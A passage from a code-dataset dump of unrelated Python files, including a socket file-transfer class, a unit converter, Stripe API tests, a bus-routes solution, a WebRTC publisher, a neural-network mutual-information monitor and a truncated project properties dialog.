\"ERR:VALUE_ERROR\"\n\t\t\t\t\tself.socket.send(str.encode(resp))\n\t\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\t\tprint(\"Did not get a proper size:\" + resp.split(':')[1])\n\t\t\telif(resp.split(':')[0] == \"CLOSE\"):\n\t\t\t\trecvd = True\n\t\t\t\tself.socket.close()\n\t\t\t\tself.connected = False\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"Server closed\")\n\t\t\t\treturn\n\n\t\tif(DEBUG_MODE):\n\t\t\twith lock: \n\t\t\t\tprint(\"Size:\" + str(size))\n\n\t\tfilename = \"new \" + F\n\n\t\t#Set the file to be empty\n\t\tf = open(filename, 'w+')\n\t\tf.write(\"\")\n\t\tf.close()\n\n\t\tf = open(filename, 'a+b')\n\n\t\trecvd = 0\n\t\tsize = int(size)\n\t\twhile(recvd < size):\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"received:\" + str(recvd) + \" bytes\")\n\t\t\tif(size - recvd < 1024):\n\t\t\t\ttemp = self.socket.recv()\n\t\t\telse:\n\t\t\t\ttemp = self.socket.recv()\n\t\t\trecvd+=1024\n\t\t\t#f.write(bytes.decode(temp))\n\t\t\tf.write(temp)\n\t\tif(DEBUG_MODE):\n\t\t\twith lock: \n\t\t\t\tprint(\"Transfered file successfully\")\n\n\t\tf.close()\n\t\t\n\tdef post(self, F):\n\t\ttry:\n\t\t\tf = open(F, 'rb')\n\t\texcept IOError:\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"File error..\")\n\t\t\treturn\n\n\t\ta = f.read()\n\n\t\tif(DEBUG_MODE):\n\t\t\tprint(\"Sending size..\")\n\t\tresp = \"POST:\" + str(len(a)) + \":\" + F\n\t\tself.socket.send(str.encode(resp))\n\t\t\n\t\tcrecvd = False\n\t\twhile(not crecvd):\n\t\t\ttry:\n\t\t\t\tresp = self.socket.recv()\n\t\t\t\tresp = bytes.decode(resp).split(':')[0]\n\t\t\t\tif(resp == \"GOT\"):\n\t\t\t\t\tcrecvd = True\n\t\t\t\telse:\n\t\t\t\t\tcrecvd = False\n\t\t\texcept ValueError:\n\t\t\t\tcrecvd = False\n\n\t\tsent = 0\n\t\twhile(sent < len(a)):\n\t\t\tif(len(a) - sent < 1024):\n\t\t\t\tself.socket.send(a[sent:len(a)])\n\t\t\telse:\n\t\t\t\tself.socket.send(a[sent:sent+1024])\n\t\t\tsent+=1024\n\t\tif(DEBUG_MODE):\n\t\t\tprint(\"Transfered file successfully\")\n\t\tf.close()\n\n\tdef runserver(self):\n\t\t#self.socket.timeout = 1000\n\t\tif(DEBUG_MODE):\n\t\t\tprint(\"running\" + str(self.connected))\n\t\tif(not self.connected):\n\t\t\tif(not self.accepting):\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"listening\")\n\t\t\t\tself.socket.listen()\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"accepting\")\n\t\t\t\tself.accepting = True\n\t\t\ttry:\n\t\t\t\tself.socket.timeout = 1\n\t\t\t\tself.socket.accept()\n\t\t\texcept socket.timeout:\n\t\t\t\treturn\t\n\t\t\tself.accepting = False\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"accepted\")\n\t\t\tself.connected = True\n\n\t\tif(DEBUG_MODE):\n\t\t\tprint(\"receiving..\")\n\t\ttry:\n\t\t\tself.socket.timeout = 1\n\t\t\trecvd = self.socket.recv()\n\t\texcept socket.timeout:\n\t\t\t#probably should close socket of the client\n\t\t\t#self.socket.close()\n\t\t\t#self.connected = False\n\t\t\treturn\t\n\t\trecvd = bytes.decode(recvd)\n\n\t\tif(DEBUG_MODE):\n\t\t\tprint(\"received:\" + recvd)\n\t\trecvd = recvd.split(':')\n\t\tif(len(recvd)>1 and recvd[0] == \"GET\"):\n\t\t\tfilename = recvd[1]\n\t\t\t\n\t\t\ttry:\n\t\t\t\tf = open(filename, 'rb')\n\t\t\texcept IOError:\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"File error..\")\n\t\t\t\tresp = \"ERR:File error\"\n\t\t\t\tself.socket.send(str.encode(resp))\n\t\t\t\treturn\n\n\t\t\tfdata = f.read()\n\t\t\t#a = str.encode(fdata)\n\t\t\ta = fdata\n\n\t\t\tcrecvd = False\n\t\t\twhile(not crecvd):\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"Sending size..\")\n\t\t\t\tresp = \"SND:\" + str(len(a))\n\t\t\t\tself.socket.send(str.encode(resp))\n\t\t\t\ttry:\n\t\t\t\t\tresp = self.socket.recv()\n\t\t\t\t\tresp = bytes.decode(resp).split(':')[0]\n\t\t\t\t\tif(resp == \"GOT\"):\n\t\t\t\t\t\tcrecvd = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tcrecvd = False\n\t\t\t\texcept ValueError:\n\t\t\t\t\tcrecvd = False\n\n\t\t\tsent = 0\n\t\t\twhile(sent < len(a)):\n\t\t\t\tif(len(a) - sent < 1024):\n\t\t\t\t\tself.socket.send(a[sent:len(a)])\n\t\t\t\telse:\n\t\t\t\t\tself.socket.send(a[sent:sent+1024])\n\t\t\t\tsent+=1024\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"Transfered file successfully\")\n\t\t\tf.close()\n\n\t\tif(len(recvd)>1 and recvd[0] == \"POST\"):\n\t\t\ttry:\n\t\t\t\tsize = int(recvd[1])\n\t\t\t\tfilename = recvd[2]\n\n\t\t\t\tresp = \"GOT:\"+str(size)\n\t\t\t\tself.socket.send(str.encode(resp))\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"Got size:\" + str(size))\n\t\t\texcept ValueError:\n\t\t\t\tresp = \"ERR:VALUE_ERROR\"\n\t\t\t\tself.socket.send(str.encode(resp))\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"Did not get a proper size:\" + resp.split(':')[1])\n\t\t\t\treturn\n\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"Size:\" + str(size))\n\n\t\t\tfilename = \"new \" + filename\n\n\t\t\t#Set the file to be empty\n\t\t\tf = open(filename, 'w+')\n\t\t\tf.write(\"\")\n\t\t\tf.close()\n\n\t\t\tf = open(filename, 'a+b')\n\n\t\t\tbrecvd = 0\n\t\t\tsize = int(size)\n\t\t\twhile(brecvd < size):\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"received:\" + str(brecvd) + \" bytes\")\n\t\t\t\tif(size - brecvd < 1024):\n\t\t\t\t\ttemp = self.socket.recv()\n\t\t\t\telse:\n\t\t\t\t\ttemp = self.socket.recv()\n\t\t\t\tbrecvd+=1024\n\t\t\t\t#f.write(bytes.decode(temp))\n\t\t\t\tf.write(temp)\n\t\t\tif(DEBUG_MODE):\n\t\t\t\twith lock: \n\t\t\t\t\tprint(\"Transfered file successfully\")\n\n\t\t\tf.close()\n\n\t\tif(len(recvd)>1 and recvd[0] == \"CLOSE\"):\n\t\t\tself.socket.close()\n\t\t\tself.connected = False\n\n\n\tdef terminate(self):\n\t\ttry:\n\t\t\tresp = str.encode(\"CLOSE:DONE\")\n\t\t\tself.socket.send(resp)\n\t\texcept:\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"Send \\\"CLOSE\\\" timed out\")\n\t\tfinally:\n\t\t\tself.socket.close()\n\t\tself.connected = False\n\t\tself.running = False\n\n\tdef window(self, W):\n\t\tself.W = W\n\t\t#self.socket.sendWindow = W\n\n\n\n\n\n","sub_path":"transport-protocol/src/lib/fxa.py","file_name":"fxa.py","file_ext":"py","file_size_in_byte":8139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"235784984","text":"#Created by Jesus Vasquez-Cipriano\n#Last Edit on: January 17, 2020\n#Copyright © 2020 Jesus Vasquez-Cipriano. All rights reserved.\n\n#This program can convert temperature in Fahrenheit to Celsius\n#and Miles/Hour to Meters/Second. A main function is defined, which calls\n#one of two possible functions, based on user input.\n\n#Part 1 - Defining a function that converts temperature in Fahrenheit to Celsius.\n\ndef convert_to_celcius(fahrenheight):\n #Convert temperature in Fahrenheit to Celsius.\n celcius = (fahrenheight-32)*(5/9)\n print(\"Your temperature is\", celcius, \"in Celcius.\")\n\n#Part 2 - Defining a function that converts miles per hour to meters per second.\n \ndef convert_to_meters_second(miles_hour):\n #Convert miles to meters and hours to seconds.\n meters_second = miles_hour*1609/3600\n print(\"You currently run\", meters_second, \"meters per second.\")\n\n# Part 3 - Main function that calls two functions based on user input.\n\ndef main():\n #User decides what conversion to execute.\n main_input = input(\"Enter 1 to convert Fahrenheit temperature to Celsius.\\\n\\nEnter 2 to convert speed from miles per hour to meters per second.\\\n\\nEnter 1 or 2: \")\n if main_input == '1':\n #Choosing '1' has user input a temperature integer, which is assigned\n #to the variable fahrenheight and passed to the convert_to_celcius function.\n fahrenheight = int(input(\"Give me a temperature in Fahrenheit to convert to degrees in Celcius: \"))\n convert_to_celcius(fahrenheight) #call convert_to_celcius function.\n elif main_input == '2':\n #Choosing '2' has user input a meter per hour integer, which is assigned\n #to the variable miles_hour and passed to the convert_to_meters_second function.\n miles_hour = int(input(\"Tell me how many miles per hour you currently run to conver to meters per second: \"))\n convert_to_meters_second(miles_hour) #call convert_to_meters_second function.\n else:\n #Prints error message if necessary input isn't provided.\n print(\"Error. You can only input the digit '1' or '2'\") \n\n#Call main function.\nmain()\n","sub_path":"source_code.py","file_name":"source_code.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"410040293","text":"from __future__ import absolute_import, division, print_function\n\nimport stripe\nfrom tests.helper import StripeTestCase\n\n\nTEST_RESOURCE_ID = 'ch_123'\n\n\nclass ChargeTest(StripeTestCase):\n def test_is_listable(self):\n resources = stripe.Charge.list()\n self.assert_requested(\n 'get',\n '/v1/charges'\n )\n self.assertIsInstance(resources.data, list)\n self.assertIsInstance(resources.data[0], stripe.Charge)\n\n def test_is_retrievable(self):\n resource = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n self.assert_requested(\n 'get',\n '/v1/charges/%s' % TEST_RESOURCE_ID\n )\n self.assertIsInstance(resource, stripe.Charge)\n\n def test_is_creatable(self):\n resource = stripe.Charge.create(\n amount=100,\n currency='usd',\n source='tok_123'\n )\n self.assert_requested(\n 'post',\n '/v1/charges'\n )\n self.assertIsInstance(resource, stripe.Charge)\n\n def test_is_saveable(self):\n resource = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource.metadata['key'] = 'value'\n resource.save()\n self.assert_requested(\n 'post',\n '/v1/charges/%s' % resource.id\n )\n\n def test_is_modifiable(self):\n resource = stripe.Charge.modify(\n TEST_RESOURCE_ID,\n metadata={'key': 'value'}\n )\n self.assert_requested(\n 'post',\n '/v1/charges/%s' % TEST_RESOURCE_ID\n )\n self.assertIsInstance(resource, stripe.Charge)\n\n\nclass ChargeMethodsTest(StripeTestCase):\n def test_can_refund(self):\n charge = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource = charge.refund()\n self.assert_requested(\n 'post',\n '/v1/charges/%s/refund' % TEST_RESOURCE_ID\n )\n self.assertIsInstance(resource, stripe.Charge)\n\n def test_can_capture(self):\n charge = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource = charge.capture()\n self.assert_requested(\n 'post',\n '/v1/charges/%s/capture' % TEST_RESOURCE_ID\n )\n self.assertIsInstance(resource, stripe.Charge)\n\n def test_can_update_dispute(self):\n charge = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource = charge.update_dispute()\n self.assert_requested(\n 'post',\n '/v1/charges/%s/dispute' % charge.id\n )\n self.assertIsInstance(resource, stripe.Dispute)\n\n def test_can_close_dispute(self):\n charge = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource = charge.close_dispute()\n self.assert_requested(\n 'post',\n '/v1/charges/%s/dispute/close' % charge.id\n )\n self.assertIsInstance(resource, stripe.Dispute)\n\n def test_can_mark_as_fraudulent(self):\n charge = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource = charge.mark_as_fraudulent()\n self.assert_requested(\n 'post',\n '/v1/charges/%s' % charge.id,\n {\n 'fraud_details': {'user_report': 'fraudulent'}\n }\n )\n self.assertIsInstance(resource, stripe.Charge)\n\n def test_can_mark_as_safe(self):\n charge = stripe.Charge.retrieve(TEST_RESOURCE_ID)\n resource = charge.mark_as_safe()\n self.assert_requested(\n 'post',\n '/v1/charges/%s' % charge.id,\n {\n 'fraud_details': {'user_report': 'safe'}\n }\n )\n self.assertIsInstance(resource, stripe.Charge)\n","sub_path":"tests/api_resources/test_charge.py","file_name":"test_charge.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"125803203","text":"class Solution:\n def numBusesToDestination(self, routes: List[List[int]], source: int, target: int) -> int:\n graph = collections.defaultdict(set)\n for i, route in enumerate(routes):\n for r in route:\n graph[r].add(i)\n \n if source not in graph or target not in graph:\n return -1\n \n cache = set()\n queue = collections.deque()\n \n cache.add(source)\n queue.append((source, 0))\n while queue:\n bus, num = queue.popleft()\n \n if bus == target:\n return num\n \n for i in graph[bus]:\n for next_bus in routes[i]:\n if next_bus in cache:\n continue\n cache.add(next_bus)\n queue.append((next_bus, num+1))\n routes[i] = []\n return -1\n \n","sub_path":"0815_Bus_Routes/try_2.py","file_name":"try_2.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"518194892","text":"import json, time\nimport pytest\n\nfrom datetime import datetime\n\nimport sys, os\nsys.path.insert(0, os.getcwd())\nfrom enolib import parse\n\nSAMPLES = {}\n\nfor name in ['configuration', 'content', 'hierarchy', 'invoice', 'journey', 'post']:\n with open(f\"performance/samples/{name}.eno\") as file:\n SAMPLES[name] = file.read()\n\ntry:\n with open('performance/analysis.json') as file:\n analysis = json.loads(file.read())\nexcept:\n analysis = {}\n\nreference = analysis['reference'] if 'reference' in analysis else None\nmodifications = { '_evaluated': str(datetime.now()) }\n\nfor name, content in SAMPLES.items():\n before = time.clock()\n seconds = 0\n iterations = 0\n\n while seconds < 4:\n for i in range(0, 1000):\n parse(content)\n\n iterations += 1000\n seconds = time.clock() - before\n\n ips = int(iterations / seconds)\n delta = ips - reference[name]['ips'] if reference else 0\n\n if delta == 0:\n change = \"~0 ips (same)\"\n elif delta > 0:\n factor = round(ips / reference[name]['ips'], 3) if reference else 0\n change = f\"+{delta} ips ({factor}× faster)\"\n else:\n factor = round(reference[name]['ips'] / ips, 3) if reference else 0\n change = f\"{delta} ips ({factor}× slower)\"\n\n modifications[name] = {\n 'change': change,\n 'ips': ips\n }\n\n print(f\"{change} [{name}]\")\n\nanalysis['modifications'] = modifications\n\nwith open('performance/analysis.json', 'w') as file:\n file.write(json.dumps(analysis, ensure_ascii=False, indent=2, sort_keys=True, separators=(',', ': ')))\n","sub_path":"python/performance/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649720478","text":"import argparse\nimport asyncio\nimport logging\nimport math\nimport requests \nimport cv2\nimport numpy\nimport json\nfrom av import VideoFrame\nimport os\nimport time\nROOT = os.path.dirname(__file__)\nfrom aiortc import (\n RTCIceCandidate,\n RTCPeerConnection,\n RTCSessionDescription,\n VideoStreamTrack,\n RTCConfiguration, \n RTCIceServer\n\n)\nfrom aiortc.contrib.media import MediaBlackhole, MediaPlayer, MediaRecorder\nfrom aiortc.contrib.signaling import add_signaling_arguments, create_signaling\n\npcs = set()\n\nclass webRTCPublisher:\n\n def __init__(self):\n self.streamTrack = FlagVideoStreamTrack()\n\n\n async def run(self, pc, player):\n print('RUN')\n pc.addTrack(self.streamTrack)\n await pc.setLocalDescription(await pc.createOffer())\n\n\n URL='http://localhost:8080/offer'\n headers = {'Content-type': 'application/json',\n 'Accept': 'text/plain',\n 'Content-Encoding': 'utf-8'}\n data = {\n \"sdp\": pc.localDescription.sdp, \"type\": pc.localDescription.type\n }\n r = requests.post(url = URL, data=json.dumps(data), headers=headers)\n\n answer = r.json() \n print(answer)\n session = RTCSessionDescription(sdp=answer[\"sdp\"], type=answer[\"type\"])\n\n await pc.setRemoteDescription(session)\n\n def create_connection(self):\n pc = RTCPeerConnection(configuration=RTCConfiguration(\n iceServers=[RTCIceServer(\n urls=['stun:stun.l.google.com:19302'])]))\n #pc = RTCPeerConnection()\n\n @pc.on(\"iceconnectionstatechange\")\n async def on_iceconnectionstatechange():\n print(\"ICE connection state is %s\", pc.iceConnectionState)\n if pc.iceConnectionState == \"failed\":\n await pc.close()\n pcs.clear()\n new_pc = self.create_connection()\n pcs.add(new_pc)\n # run event loop\n await self.run(\n pc=new_pc,\n player=None\n )\n\n return pc\n\n async def main(self):\n parser = argparse.ArgumentParser(description=\"WebRTC audio / video / data-channels demo\")\n parser.add_argument(\"--play-from\", help=\"Read the media from a file and sent it.\"),\n parser.add_argument(\"--record-to\", help=\"Write received media to a file.\"),\n parser.add_argument(\"--verbose\", \"-v\", action=\"count\")\n #add_signaling_arguments(parser)\n args = parser.parse_args()\n\n if args.verbose:\n logging.basicConfig(level=logging.DEBUG)\n\n # create signaling and peer connection\n #signaling = create_signaling(args)\n \n # create media source\n player = None\n \n\n pc = self.create_connection()\n pcs.add(pc)\n # run event loop\n await self.run(\n pc=pc,\n player=player\n )\n\n #await pc.close()\n \n\n\n\nclass FlagVideoStreamTrack(VideoStreamTrack):\n \"\"\"\n A video track that returns an animated flag.\n \"\"\"\n\n def __init__(self):\n super().__init__() # don't forget this!\n self.counter = 0\n self.frame = None\n\n print('INIT=========')\n\n\n async def add_frame(self, frame):\n colored_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n self.frame = VideoFrame.from_ndarray(colored_frame) \n\n async def recv(self):\n pts, time_base = await self.next_timestamp()\n \n self.frame.pts = pts\n self.frame.time_base = time_base\n return self.frame\n\n\n\n\n\n#webRTCPublisher().main()","sub_path":"publisher/weRTCPublisher.py","file_name":"weRTCPublisher.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"155515681","text":"import itchat\n\n\n# 使用ItChat进行微信登陆\nclass ItChatLogin:\n def login(self):\n itchat.auto_login()\n friends = itchat.get_friends(update=True)\n return friends\n\n\nif __name__ == '__main__':\n itchatLogin = ItChatLogin()\n mineInfos = itchatLogin.login()\n print(mineInfos)\ngit","sub_path":"com.pydemo/wechat/ItChatLogin.py","file_name":"ItChatLogin.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"2618032","text":"import math\nfrom abc import ABC, abstractmethod\nfrom collections import defaultdict\nfrom functools import wraps\nfrom typing import Callable, List\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.utils.data\nfrom sklearn import cluster\nfrom tqdm import tqdm\n\nfrom monitor.batch_timer import ScheduleExp\nfrom utils.constants import BATCH_SIZE\n\n\nclass LayersOrder:\n def __init__(self, model: nn.Module):\n self.hooks = []\n self.layers_ordered = []\n self.register_hooks(model)\n\n def register_hooks(self, model: nn.Module):\n children = tuple(model.children())\n if any(children):\n for layer in children:\n self.register_hooks(layer)\n else:\n handle = model.register_forward_pre_hook(self.append_layer)\n self.hooks.append(handle)\n\n def append_layer(self, layer, tensor_input):\n self.layers_ordered.append(layer)\n\n def get_layers_ordered(self):\n for handle in self.hooks:\n handle.remove()\n return tuple(self.layers_ordered)\n\n\nclass AccuracyFromMutualInfo:\n def __init__(self, n_classes: int, resolution_bins=100):\n self.accuracy_binned = np.linspace(start=1 / n_classes, stop=1, num=resolution_bins, endpoint=False)\n entropy_correct = self.accuracy_binned * np.log2(1 / self.accuracy_binned)\n entropy_incorrect = (1 - self.accuracy_binned) * np.log2((n_classes - 1) / (1 - self.accuracy_binned))\n entropy_class_given_activations = entropy_correct + entropy_incorrect\n entropy_classes = np.log2(n_classes)\n self.mutual_info_binned = entropy_classes - entropy_class_given_activations\n\n def estimate_accuracy(self, mutual_info_bits: float) -> float:\n \"\"\"\n :param mutual_info_bits: mutual information between the hidden layer and the true class\n :return: estimated layer accuracy\n \"\"\"\n bin_id = np.digitize(mutual_info_bits, bins=self.mutual_info_binned)\n bin_id = min(bin_id, len(self.accuracy_binned) - 1)\n accuracy_estimated = self.accuracy_binned[bin_id]\n return accuracy_estimated\n\n\nclass MutualInfo(ABC):\n log2e = math.log2(math.e)\n n_bins_default = 20\n ignore_layers = (nn.Conv2d,) # poor estimate\n\n def __init__(self, estimate_size=float('inf'), debug=False):\n \"\"\"\n :param estimate_size: number of samples to estimate mutual information from\n :param debug: plot bins distribution?\n \"\"\"\n self.estimate_size = estimate_size\n self.debug = debug\n self.activations = defaultdict(list)\n self.quantized = {}\n self.information = {}\n self.is_active = False\n self.eval_loader = None\n self.accuracy_estimator = None\n self.layer_to_name = {}\n\n def __repr__(self):\n return f\"{self.__class__.__name__}({self.extra_repr()})\"\n\n def extra_repr(self):\n return f\"estimate_size={self.estimate_size}\"\n\n def register(self, layer: nn.Module, name: str):\n if not isinstance(layer, self.ignore_layers):\n self.layer_to_name[layer] = name\n\n @ScheduleExp()\n def force_update(self, model: nn.Module):\n if self.eval_loader is None:\n return\n self.start_listening()\n use_cuda = torch.cuda.is_available()\n with torch.no_grad():\n for images, labels in self.eval_batches():\n if use_cuda:\n images = images.cuda()\n model(images) # outputs of each layer are saved implicitly\n self.finish_listening()\n\n def decorate_evaluation(self, get_outputs_old: Callable):\n @wraps(get_outputs_old)\n def get_outputs_wrapped(*args, **kwargs):\n self.start_listening()\n outputs = get_outputs_old(*args, **kwargs)\n self.finish_listening()\n return outputs\n\n return get_outputs_wrapped\n\n def eval_batches(self):\n n_samples = 0\n for images, labels in iter(self.eval_loader):\n if n_samples > self.estimate_size:\n break\n n_samples += len(labels)\n yield images, labels\n\n def prepare_input(self):\n targets = []\n classifier = cluster.MiniBatchKMeans(n_clusters=self.n_bins_default,\n batch_size=BATCH_SIZE,\n compute_labels=False)\n for images, labels in tqdm(self.eval_batches(), total=len(self.eval_loader),\n desc=\"MutualInfo: quantizing input data. Stage 1\"):\n images = images.flatten(start_dim=1)\n classifier.partial_fit(images, labels)\n targets.append(labels)\n targets = torch.cat(targets, dim=0)\n self.accuracy_estimator = AccuracyFromMutualInfo(n_classes=len(targets.unique()))\n self.quantized['target'] = targets.numpy()\n\n centroids_predicted = []\n for images, _ in tqdm(self.eval_batches(), total=len(self.eval_loader),\n desc=\"MutualInfo: quantizing input data. Stage 2\"):\n images = images.flatten(start_dim=1)\n centroids_predicted.append(classifier.predict(images))\n self.quantized['input'] = np.hstack(centroids_predicted)\n\n def prepare(self, loader: torch.utils.data.DataLoader, model: nn.Module, monitor_layers_count=5):\n self.eval_loader = loader\n self.prepare_input()\n\n images_batch, _ = next(self.eval_batches())\n image_sample = images_batch[:1]\n layers_order = LayersOrder(model)\n if torch.cuda.is_available():\n image_sample = image_sample.cuda()\n with torch.no_grad():\n model(image_sample)\n\n layers_ordered = layers_order.get_layers_ordered()\n layers_ordered = list(layer for layer in layers_ordered if layer in self.layer_to_name)\n layers_ordered = layers_ordered[-monitor_layers_count:]\n\n for layer in layers_ordered:\n layer.register_forward_hook(self.save_activations)\n\n monitored_layer_names = list(self.layer_to_name[layer] for layer in layers_ordered)\n print(f\"Monitoring only these last layers for mutual information estimation: {monitored_layer_names}\")\n\n def start_listening(self):\n self.activations.clear()\n self.is_active = True\n\n def finish_listening(self):\n self.is_active = False\n for hname, activations in self.activations.items():\n self.process_activations(layer_name=hname, activations=activations)\n self.save_mutual_info()\n\n def save_activations(self, module: nn.Module, tensor_input, tensor_output):\n if not self.is_active:\n return\n layer_name = self.layer_to_name[module]\n if sum(map(len, self.activations[layer_name])) > self.estimate_size:\n return\n tensor_output_clone = tensor_output.cpu()\n if tensor_output_clone is tensor_output:\n tensor_output_clone = tensor_output_clone.clone()\n tensor_output_clone = tensor_output_clone.flatten(start_dim=1)\n self.activations[layer_name].append(tensor_output_clone)\n\n def plot_activations_hist(self, viz):\n for hname, activations in self.activations.items():\n title = f'Activations histogram: {hname}'\n activations = torch.cat(activations, dim=0)\n viz.histogram(activations.view(-1), win=title, opts=dict(\n xlabel='neuron value',\n ylabel='neuron counts',\n title=title,\n ))\n\n def _plot_debug(self, viz):\n self.plot_activations_hist(viz)\n\n def estimate_accuracy(self):\n \"\"\"\n Make sure to call this function before the information is cleared.\n :return: dict of estimated accuracies from mutual information between each layer and the true class\n \"\"\"\n accuracy = {}\n for layer_name in self.layer_to_name.values():\n if layer_name in self.information:\n layer_information = self.information[layer_name][1] # take I(T, Y)\n accuracy[layer_name] = self.accuracy_estimator.estimate_accuracy(mutual_info_bits=layer_information)\n return accuracy\n\n def plot(self, viz):\n assert not self.is_active, \"Wait, not finished yet.\"\n if len(self.information) == 0:\n return\n if self.debug:\n self._plot_debug(viz)\n legend = []\n info_hidden_input = []\n info_hidden_output = []\n for layer_name, (info_x, info_y) in self.information.items():\n info_hidden_input.append(info_x)\n info_hidden_output.append(info_y)\n legend.append(layer_name)\n title = 'Mutual information plane'\n viz.line(Y=np.array([info_hidden_output]), X=np.array([info_hidden_input]), win=title, opts=dict(\n xlabel='I(X, T), bits',\n ylabel='I(T, Y), bits',\n title=title,\n legend=legend,\n ), update='append' if viz.win_exists(title) else None)\n self.information.clear()\n self.activations.clear()\n\n @abstractmethod\n def process_activations(self, layer_name: str, activations: List[torch.FloatTensor]):\n pass\n\n @abstractmethod\n def save_mutual_info(self):\n pass\n","sub_path":"monitor/mutual_info/mutual_info.py","file_name":"mutual_info.py","file_ext":"py","file_size_in_byte":9300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"60358332","text":"# -*- coding: utf-8 -*-\r\nfrom noval import GetApp,_\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport os\r\nimport noval.util.apputils as apputils\r\nimport noval.util.fileutils as fileutils\r\nimport noval.util.utils as utils\r\nimport noval.project.resource as proejctresource\r\nimport noval.util.singleton as singleton\r\nimport noval.consts as consts\r\nimport noval.ui_base as ui_base\r\nimport noval.ttkwidgets.treeviewframe as treeviewframe\r\nimport six\r\nRESOURCE_ITEM_NAME = \"Resource\"\r\n\r\n\r\nclass PropertiesService:\r\n \"\"\"\r\n Service that installs under the File menu to show the properties of the file associated\r\n with the current document.\r\n \"\"\"\r\n\r\n def __init__(self):\r\n \"\"\"\r\n Initializes the PropertyService.\r\n \"\"\"\r\n self._optionsPanelClasses = []\r\n self.current_project_document = GetApp().MainFrame.GetProjectView(generate_event=False).GetCurrentProject()\r\n pages = self.current_project_document.GetDocumentTemplate().GetPropertiPages()\r\n for item, name,objclass in pages:\r\n self.AddOptionsPanelClass(item,name,objclass)\r\n \r\n def AddOptionsPanelClass(self,item,name,optionsPanelClass):\r\n #这里针对python2和python3中各自的string类型进行了区分:在python2中,使用的为basestring;在python3中,使用的为str\r\n if isinstance(optionsPanelClass,six.string_types[0]):\r\n try:\r\n optionsPanelClass = utils.GetClassFromDynamicImportModule(optionsPanelClass)\r\n except Exception as e:\r\n utils.get_logger().exception('load property page %s error',optionsPanelClass)\r\n return\r\n self._optionsPanelClasses.append((item,name,optionsPanelClass),)\r\n \r\n def GetOptionPanelClasses(self):\r\n return self._optionsPanels\r\n\r\n def GetItemOptionsPanelClasses(self,item):\r\n option_panel_classes = []\r\n for optionsPanelClass in self._optionsPanelClasses:\r\n if optionsPanelClass[1] == item:\r\n option_panel_classes.append(optionsPanelClass)\r\n return option_panel_classes\r\n\r\n def ShowPropertyDialog(self,item,option_name=None):\r\n \"\"\"\r\n Shows the PropertiesDialog for the specified file.\r\n \"\"\"\r\n is_project = False\r\n project_view = self.current_project_document.GetFirstView()\r\n option_pages = {}\r\n if item == project_view._treeCtrl.GetRootItem():\r\n title = _(\"Project Property\")\r\n file_path = self.current_project_document.GetFilename()\r\n # self.AddOptionsPanel(INTERPRETER_ITEM_NAME,PythonInterpreterPanel)\r\n # self.AddOptionsPanel(PYTHONPATH_ITEM_NAME,PythonPathPanel)\r\n # self.AddOptionsPanel(PROJECT_REFERENCE_ITEM_NAME,ProjectReferrencePanel)\r\n option_pages = self.GetItemOptionsPanelClasses('root')\r\n is_project = True\r\n elif project_view._IsItemFile(item):\r\n title = _(\"File Property\")\r\n file_path = project_view._GetItemFilePath(item)\r\n option_pages = self.GetItemOptionsPanelClasses('file')\r\n else:\r\n title = _(\"Folder Property\")\r\n file_path = project_view._GetItemFolderPath(item)\r\n option_pages = self.GetItemOptionsPanelClasses('folder')\r\n \r\n propertyDialog = PropertyDialog(GetApp().GetTopWindow(),title,item,option_pages,option_name)\r\n propertyDialog.ShowModal()\r\n \r\nclass PropertyDialog(ui_base.CommonModaldialog):\r\n \"\"\"\r\n A default options dialog used by the OptionsService that hosts a notebook\r\n tab of options panels.\r\n \"\"\"\r\n PANEL_WIDITH = 800\r\n PANEL_HEIGHT = 500\r\n\r\n def __init__(self, master, title,selected_item,option_pages,option_name=None):#item_type\r\n \"\"\"\r\n Initializes the options dialog with a notebook page that contains new\r\n instances of the passed optionsPanelClasses.\r\n \"\"\"\r\n ui_base.CommonModaldialog.__init__(self, master, takefocus=1)\r\n self.geometry(\"%dx%d\" % 